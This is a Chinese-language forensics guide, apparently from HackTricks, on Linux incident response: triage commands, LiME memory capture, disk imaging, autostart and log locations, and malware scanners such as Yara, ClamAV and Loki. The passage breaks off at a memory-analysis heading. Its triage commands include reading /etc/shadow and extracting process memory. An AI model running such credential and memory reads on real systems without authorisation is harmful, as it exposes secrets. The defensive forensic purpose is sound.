* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>


# Linux Forensics

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 初始信息收集

### 基本信息

首先，建议准备一些带有**已知良好的二进制文件和库**的**USB**（您可以使用Ubuntu并复制文件夹\_/bin\_，*/sbin*，*/lib\_和*/lib64\_），然后挂载USB，并修改环境变量以使用这些二进制文件：

```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```

一旦您已配置系统以使用良好且已知的二进制文件，您可以开始**提取一些基本信息**：

```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```

#### 可疑信息

在获取基本信息时，应检查以下异常情况：

* **Root进程**通常以较低的PID运行，因此如果发现一个具有较大PID的Root进程，可能存在可疑
* 检查`/etc/passwd`中没有shell的用户的**注册登录**
* 检查`/etc/shadow`中没有shell的用户的**密码哈希值**

### 内存转储

为了获取运行中系统的内存，建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
要**编译**它，需要使用与受害者机器相同的**内核**。

{% hint style="info" %}
请记住，**不能在受害者机器上安装LiME或任何其他东西**，因为这将对其进行多处更改
{% endhint %}

因此，如果你有一个相同版本的Ubuntu，可以使用`apt-get install lime-forensics-dkms`\
在其他情况下，您需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME)，并使用正确的内核头文件编译它。要**获取受害者机器的确切内核头文件**，只需将目录`/lib/modules/<kernel version>`复制到您的机器上，然后使用它们**编译** LiME：

```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```

LiME支持3种**格式**：

* 原始（每个段连接在一起）
* 填充（与原始相同，但右位填充为零）
* Lime（推荐的带有元数据的格式）

LiME还可以用于通过网络发送转储，而不是将其存储在系统上，使用类似以下的内容：`path=tcp:4444`

### 磁盘成像

#### 关机

首先，您需要**关闭系统**。这并不总是一个选项，因为有时系统将是公司无法负担关闭的生产服务器。\
有**2种**关闭系统的方法，**正常关闭**和\*\*"拔插头"关闭\*\*。第一种方法将允许**进程像往常一样终止**，**文件系统**将被**同步**，但也会允许可能的**恶意软件**破坏证据。"拔插头"方法可能会带来**一些信息丢失**（不会丢失太多信息，因为我们已经对内存进行了镜像），**恶意软件**将没有机会对此做任何事情。因此，如果您**怀疑**可能存在**恶意软件**，只需在系统上执行\*\*`sync`\*\* **命令**，然后拔掉插头。

#### 对磁盘进行成像

重要的是要注意，在**将计算机连接到与案件相关的任何内容之前**，您需要确保它将以**只读**方式挂载，以避免修改任何信息。

```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512

#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```

### 磁盘映像预分析

使用无更多数据的磁盘映像。

```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)

#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))

#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776

Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)

Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0

Source OS: Linux
[...]

#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193:       folder1
d/d 8194:       folder2
V/V 65537:      $OrphanFiles

#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt

#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 搜索已知恶意软件

### 修改过的系统文件

Linux提供了用于确保系统组件完整性的工具，这对于发现潜在问题文件至关重要。

* **基于RedHat的系统**：使用 `rpm -Va` 进行全面检查。
* **基于Debian的系统**：首先使用 `dpkg --verify` 进行初始验证，然后使用 `debsums | grep -v "OK$"`（在使用 `apt-get install debsums` 安装 `debsums` 后）来识别任何问题。

### 恶意软件/Rootkit检测器

阅读以下页面，了解可用于查找恶意软件的工具：

{% content-ref url="/pages/AFkJWcUpYjxhknRqk3TL" %}
[Malware Analysis](/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis)
{% endcontent-ref %}

## 搜索已安装的程序

要有效地搜索Debian和RedHat系统上已安装的程序，考虑在常见目录中手动检查的同时，结合系统日志和数据库。

* 对于Debian，检查 ***`/var/lib/dpkg/status`*** 和 ***`/var/log/dpkg.log`*** 以获取有关软件包安装的详细信息，使用 `grep` 过滤特定信息。
* RedHat用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询RPM数据库以列出已安装的软件包。

要查找手动安装或超出这些软件包管理器范围之外的软件，请探索目录如 ***`/usr/local`***、***`/opt`***、***`/usr/sbin`***、***`/usr/bin`***、***`/bin`*** 和 ***`/sbin`***。将目录列表与特定于系统的命令结合使用，以识别与已知软件包不相关的可执行文件，增强您对所有已安装程序的搜索。

```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 恢复已删除的运行二进制文件

想象一下，有一个从 /tmp/exec 执行然后被删除的进程。可以提取它。

```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```

## 检查自启动位置

### 计划任务

```bash
cat /var/spool/cron/crontabs/*  \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \

#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```

### 服务

恶意软件可能安装为服务的路径：

* **/etc/inittab**：调用初始化脚本如rc.sysinit，进一步指向启动脚本。
* **/etc/rc.d/** 和 **/etc/rc.boot/**：包含用于服务启动的脚本，后者在旧版Linux中找到。
* **/etc/init.d/**：在某些Linux版本（如Debian）中用于存储启动脚本。
* 服务也可以通过 **/etc/inetd.conf** 或 **/etc/xinetd/** 激活，取决于Linux变体。
* **/etc/systemd/system**：系统和服务管理器脚本的目录。
* **/etc/systemd/system/multi-user.target.wants/**：包含应在多用户运行级别中启动的服务的链接。
* **/usr/local/etc/rc.d/**：用于自定义或第三方服务。
* **\~/.config/autostart/**：用于特定用户的自动启动应用程序，可能是用户定向恶意软件的隐藏位置。
* **/lib/systemd/system/**：由安装的软件包提供的系统范围默认单元文件。

### 内核模块

Linux内核模块，恶意软件常用作rootkit组件，在系统启动时加载。关键用于这些模块的目录和文件包括：

* **/lib/modules/$(uname -r)**：保存运行的内核版本的模块。
* **/etc/modprobe.d**：包含用于控制模块加载的配置文件。
* **/etc/modprobe** 和 **/etc/modprobe.conf**：全局模块设置的文件。

### 其他自启动位置

Linux使用各种文件在用户登录时自动执行程序，可能隐藏恶意软件：

* **/etc/profile.d/**\*、**/etc/profile** 和 **/etc/bash.bashrc**：任何用户登录时执行。
* **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile** 和 **\~/.config/autostart**：用户特定文件，在其登录时运行。
* **/etc/rc.local**：在所有系统服务启动后运行，标志着过渡到多用户环境的结束。

## 检查日志

Linux系统通过各种日志文件跟踪用户活动和系统事件。这些日志对于识别未经授权的访问、恶意软件感染和其他安全事件至关重要。关键日志文件包括：

* **/var/log/syslog**（Debian）或 **/var/log/messages**（RedHat）：捕获系统范围的消息和活动。
* **/var/log/auth.log**（Debian）或 **/var/log/secure**（RedHat）：记录认证尝试、成功和失败的登录。
* 使用 `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` 过滤相关认证事件。
* **/var/log/boot.log**：包含系统启动消息。
* **/var/log/maillog** 或 **/var/log/mail.log**：记录电子邮件服务器活动，有助于跟踪与电子邮件相关的服务。
* **/var/log/kern.log**：存储内核消息，包括错误和警告。
* **/var/log/dmesg**：保存设备驱动程序消息。
* **/var/log/faillog**：记录失败的登录尝试，有助于安全事件调查。
* **/var/log/cron**：记录cron作业执行。
* **/var/log/daemon.log**：跟踪后台服务活动。
* **/var/log/btmp**：记录失败的登录尝试。
* **/var/log/httpd/**：包含Apache HTTPD错误和访问日志。
* **/var/log/mysqld.log** 或 **/var/log/mysql.log**：记录MySQL数据库活动。
* **/var/log/xferlog**：记录FTP文件传输。
* **/var/log/**：始终检查意外日志。

{% hint style="info" %}
Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统上的日志通常包含有关恶意活动的最有用信息，入侵者经常删除它们。因此，在检查可用日志文件时，重要的是查找可能表示删除或篡改的间隙或顺序不当的条目。
{% endhint %}

**Linux为每个用户维护一个命令历史记录**，存储在：

* \~/.bash\_history
* \~/.zsh\_history
* \~/.zsh\_sessions/\*
* \~/.python\_history
* \~/.\*\_history

此外，`last -Faiwx` 命令提供用户登录列表。检查其中是否有未知或意外登录。

检查可能授予额外权限的文件：

* 查看 `/etc/sudoers` 是否授予了意外用户权限。
* 查看 `/etc/sudoers.d/` 是否授予了意外用户权限。
* 检查 `/etc/groups` 以识别任何异常的组成员或权限。
* 检查 `/etc/passwd` 以识别任何异常的组成员或权限。

一些应用程序还会生成自己的日志：

* **SSH**：检查 *\~/.ssh/authorized\_keys* 和 *\~/.ssh/known\_hosts* 是否存在未经授权的远程连接。
* **Gnome桌面**：查看 *\~/.recently-used.xbel* 以查找通过Gnome应用程序最近访问的文件。
* **Firefox/Chrome**：检查 *\~/.mozilla/firefox* 或 *\~/.config/google-chrome* 中的浏览器历史记录和下载是否存在可疑活动。
* **VIM**：查看 *\~/.viminfo* 以获取使用详细信息，如访问的文件路径和搜索历史。
* **Open Office**：检查最近访问的文档，可能指示文件受到 compromise。
* **FTP/SFTP**：查看 *\~/.ftp\_history* 或 *\~/.sftp\_history* 中的日志，以查找可能未经授权的文件传输。
* **MySQL**：调查 *\~/.mysql\_history* 中执行的MySQL查询，可能揭示未经授权的数据库活动。
* **Less**：分析 *\~/.lesshst* 以获取使用历史，包括查看的文件和执行的命令。
* **Git**：检查 *\~/.gitconfig* 和项目 *.git/logs* 以查看对存储库的更改。

### USB日志

[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个纯Python 3编写的小型软件，用于解析Linux日志文件（取决于发行版，可能是`/var/log/syslog*`或`/var/log/messages*`）以构建USB事件历史表。

了解所有已使用的USB设备是很有趣的，如果您有一个授权的USB设备列表，将更有用，以查找“违规事件”（使用不在该列表中的USB设备）。

### 安装

```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```

### 例子

```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```

更多示例和信息请查看github: <https://github.com/snovvcrash/usbrip>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限:

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 查看用户帐户和登录活动

检查 ***/etc/passwd***、***/etc/shadow*** 和**安全日志**，查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\
此外，检查像 ***/etc/sudoers*** 和 ***/etc/groups*** 这样的文件，查看是否给用户授予了意外的特权。\
最后，查找没有密码或**易于猜测**密码的帐户。

## 检查文件系统

### 在恶意软件调查中分析文件系统结构

在调查恶意软件事件时，文件系统的结构是信息的重要来源，可以揭示事件序列和恶意软件的内容。然而，恶意软件作者正在开发技术来阻碍这种分析，例如修改文件时间戳或避免使用文件系统进行数据存储。

为了对抗这些反取证方法，重要的是：

* 使用像**Autopsy**这样的工具进行彻底的时间线分析，用于可视化事件时间线，或者使用**Sleuth Kit**的`mactime`获取详细的时间线数据。
* 检查系统的$PATH中的意外脚本，这些脚本可能包括攻击者使用的shell或PHP脚本。
* 检查`/dev`中的非典型文件，因为它传统上包含特殊文件，但可能包含与恶意软件相关的文件。
* 搜索具有类似“.. ”（点 点 空格）或“..^G”（点 点 控制-G）名称的隐藏文件或目录，这些文件可能隐藏恶意内容。
* 使用命令`find / -user root -perm -04000 -print`识别setuid root文件。这会找到具有提升权限的文件，可能会被攻击者滥用。
* 检查inode表中的删除时间戳，以发现大量文件删除，可能表明存在rootkit或特洛伊木马。
* 在识别一个恶意文件后，检查相邻的inode，因为它们可能被放在一起。
* 检查常见的二进制目录（*/bin*、*/sbin*）中最近修改的文件，因为这些文件可能被恶意软件更改。

````bash
# List recent files in a directory:
ls -laR --sort=time /bin```

# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````

{% hint style="info" %}
请注意，**攻击者** 可以 **修改** 时间以使文件看起来 **合法**，但他 **无法** 修改 **inode**。如果您发现一个 **文件** 表明它是在与同一文件夹中的其他文件**相同时间** 创建和修改的，但 **inode** 却 **意外地更大**，那么该文件的 **时间戳已被修改**。
{% endhint %}

## 比较不同文件系统版本的文件

### 文件系统版本比较摘要

要比较文件系统版本并准确定位更改，我们使用简化的 `git diff` 命令：

* **查找新文件**，比较两个目录：

```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```

* **对于修改后的内容**，列出更改，忽略特定行：

```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```

* **检测已删除的文件**：

```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```

* **筛选选项** (`--diff-filter`) 有助于缩小范围到特定更改，如添加 (`A`)、删除 (`D`) 或修改 (`M`) 文件。
* `A`: 添加的文件
* `C`: 复制的文件
* `D`: 删除的文件
* `M`: 修改的文件
* `R`: 重命名的文件
* `T`: 类型更改（例如，文件到符号链接）
* `U`: 未合并的文件
* `X`: 未知的文件
* `B`: 损坏的文件

## 参考资料

* <https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf>
* <https://www.plesk.com/blog/featured/linux-logs-explained/>
* <https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203>
* **书籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

您在**网络安全公司**工作吗？ 您想在 HackTricks 中看到您的**公司广告**吗？ 或者您想访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！

* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**]\(<https://discord.gg/hRep4RUj7f>) 或 **电报群组** 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

**通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限:

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}


# Malware Analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 取证备忘单

[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)

## 在线服务

* [VirusTotal](https://www.virustotal.com/gui/home/upload)
* [HybridAnalysis](https://www.hybrid-analysis.com)
* [Koodous](https://koodous.com)
* [Intezer](https://analyze.intezer.com)
* [Any.Run](https://any.run/)

## 离线防病毒和检测工具

### Yara

#### 安装

```bash
sudo apt-get install -y yara
```

#### 准备规则

使用此脚本从 github 下载并合并所有 yara 恶意软件规则：<https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9>\
创建 ***rules*** 目录并执行该脚本。这将创建一个名为 ***malware\_rules.yar*** 的文件，其中包含所有恶意软件的 yara 规则。

```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```

#### 扫描

```bash
yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```

#### YaraGen: 检查恶意软件并创建规则

您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程：[**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)

```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/
```

### ClamAV

#### 安装

```
sudo apt-get install -y clamav
```

#### 扫描

```bash
sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder
```

### [Capa](https://github.com/mandiant/capa)

**Capa**检测可执行文件中的潜在恶意功能：PE、ELF、.NET。因此，它会发现诸如Att\&ck战术或可疑功能，例如：

* 检查OutputDebugString错误
* 作为服务运行
* 创建进程

获取它在[**Github存储库**](https://github.com/mandiant/capa)中。

### IOCs

IOC表示威胁指标。IOC是一组**用于识别**一些潜在不受欢迎的软件或已确认**恶意软件**的条件。蓝队使用这种定义来在其**系统**和**网络**中**搜索此类恶意文件**。\
共享这些定义非常有用，因为当在计算机中识别恶意软件并为该恶意软件创建IOC时，其他蓝队可以使用它更快地识别恶意软件。

创建或修改IOC的工具是[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**。**\
您可以使用诸如[**Redline**](https://www.fireeye.com/services/freeware/redline.html)之类的工具在设备中**搜索定义的IOC**。

### Loki

[**Loki**](https://github.com/Neo23x0/Loki)是一个用于简单威胁指标的扫描器。\
检测基于四种检测方法：

```
1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```

### Linux 恶意软件检测

[**Linux 恶意软件检测 (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对 Linux 的恶意软件扫描器，采用 GNU GPLv2 许可发布，旨在解决共享托管环境中面临的威胁。它利用来自网络边缘入侵检测系统的威胁数据，提取正在攻击中使用的恶意软件，并生成用于检测的签名。此外，威胁数据还来自用户提交的数据，使用 LMD 结账功能以及恶意软件社区资源。

### rkhunter

类似 [**rkhunter**](http://rkhunter.sourceforge.net) 这样的工具可用于检查文件系统中可能存在的 **rootkits** 和恶意软件。

```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```

### FLOSS

[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具，将尝试使用不同的技术在可执行文件中查找混淆的字符串。

### PEpper

[PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容（二进制数据、熵、URL 和 IP、一些 yara 规则）。

### PEstudio

[PEstudio](https://www.winitor.com/download) 是一个工具，可以获取 Windows 可执行文件的信息，如导入、导出、头部，还会检查病毒总数并查找潜在的 Att\&ck 技术。

### Detect It Easy(DiE)

[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具，用于检测文件是否加密，并查找打包程序。

### NeoPI

[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个使用各种统计方法来检测文本/脚本文件中混淆和加密内容的 Python 脚本。NeoPI 的预期目的是帮助检测隐藏的 Web shell 代码。

### **php-malware-finder**

[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽最大努力检测混淆/可疑代码以及使用 PHP 函数的文件，这些函数通常在恶意软件/webshell 中使用。

### Apple 二进制签名

在检查一些恶意软件样本时，您应始终检查二进制文件的签名，因为签署它的开发人员可能已与恶意软件相关联。

```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```

## 检测技术

### 文件堆叠

如果你知道某个包含**web服务器文件**的文件夹是在**某个日期**上次更新的。**检查**所有**web服务器文件**的创建和修改日期，如果有任何**可疑日期**，则检查该文件。

### 基线

如果文件夹中的文件**不应该被修改**，你可以计算文件夹中**原始文件**的**哈希值**，并将其与**当前文件**进行**比较**。任何被修改的内容都会**引起怀疑**。

### 统计分析

当信息保存在日志中时，你可以**检查统计数据，比如每个web服务器文件被访问的次数，因为web shell可能是其中之一**。


# Memory dump analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS＆HackTricks商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。 以**促进技术知识**为使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

## 开始

